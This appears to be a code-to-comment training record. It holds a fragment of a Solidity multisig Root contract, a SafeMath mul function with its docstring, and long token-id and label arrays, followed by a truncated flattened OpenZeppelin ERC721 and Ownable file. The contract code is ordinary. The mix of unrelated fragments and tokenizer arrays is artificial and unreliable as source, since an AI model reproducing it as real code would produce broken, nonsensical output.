returns (bool)
{
if (address(0) != signers)
require(msg.sender == address(this), "Root.setSigners: Access denied");
// Signer node allowed to be empty
signers = setNode(signers, _addressOf, true);
emit SignersChanged(signers);
return true;
}
function setStakersController(address _addressOf) external
{
if (address(0) != stakersController)
require(msg.sender == address(this), "Root.setStakersController: Access denied");
if (isContract(_addressOf))
require(0 < MultiSigNode(_addressOf).walletCount(), "Root.setStakersController: No wallet");
stakersController = setNode(stakersController, _addressOf, true);
emit StakersControllerChanged(stakersController);
}
function setSignersController(address _addressOf) external
{
if (address(0) != signersController)
require(msg.sender == address(this), "Root.setSignersController: Access denied");
if (isContract(_addressOf))
require(0 < MultiSigNode(_addressOf).walletCount(), "Root.setSignersController: No wallet");
signersController = setNode(signersController, _addressOf, true);
emit SignersControllerChanged(signersController);
}
function setNode(address _from, address _to, bool needAttachment) private
returns (address)
{
require(address(0) != _to, "Root.setNode: Address is empty");
if (needAttachment) {
require(0 == registered[_to], "Root.setNode: Duplicated node");
// Remove node from list
if (address(0) != _from) {
if (isContract(_from)) {
// detach node
MultiSigNode(_from).term();
}
delete registered[_from];
}
if (isContract(_to)) {
// Mark address as registered node
registered[_to] = WALLET_TYPE_NODE;
if (needAttachment) {
// Attach node (parrent address = 0x0)
MultiSigNode(_to).init(address(0));
}
}
else {
// Mark address as registered wallet
registered[_to] = WALLET_TYPE_WALLET;
}
}
return _to;
}
function attachWalletOrNode(address _wallet) external
onlyNode
returns (bool)
{
require(address(0) != _wallet, "Root.attachWalletOrNode: Wallet address is empty");
require(0 == registered[_wallet], "Root.attachWalletOrNode: Duplicated wallet address");
bytes32 labelCode = MultiSigNode(msg.sender).labelCode();
walletToNodes[_wallet] = msg.sender;
walletToIndexes[_wallet] = MultiSigNode(msg.sender).walletsIndex(_wallet);
walletToLabelCodes[_wallet] = labelCode;
labelCodeToNodes[labelCode] = msg.sender;
if (isContract(_wallet)) {
// Mark address as registered node
registered[_wallet] = WALLET_TYPE_NODE;
// Attach node with their parent address
MultiSigNode(_wallet).init(msg.sender);
}
else {
// Mark address as registered wallet
registered[_wallet] = WALLET_TYPE_WALLET;
}
emit WalletOrNodeAttached(_wallet);
return true;
}
function detachWalletOrNode(address _wallet) external
onlyNode
returns (bool)
{
require(address(0) != _wallet, "Root.detachWalletOrNode: Wallet address is empty");
require(0 != registered[_wallet], "Root.detachWalletOrNode: Wallet address is not registered");
if (isContract(_wallet)) {
// Detach node with their parent
MultiSigNode(_wallet).term();
bytes32 labelCode = MultiSigNode(msg.sender).labelCode();
delete labelCodeToNodes[labelCode];
}
delete registered[_wallet];
delete walletToNodes[_wallet];
delete walletToIndexes[_wallet];
delete walletToLabelCodes[_wallet];
emit WalletOrNodeDetached(_wallet);
return true;
}
} | * @dev Multiplies two numbers, throws on overflow./ | function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "Multiplier exception");
return c;
}
| 15,810,774 | [
1,
5002,
5259,
2795,
5600,
16,
1216,
603,
9391,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
16618,
1135,
261,
11890,
5034,
276,
13,
288,
203,
3639,
309,
261,
69,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
3639,
276,
273,
279,
380,
324,
31,
203,
3639,
2583,
12,
71,
342,
279,
422,
324,
16,
315,
23365,
1520,
8863,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
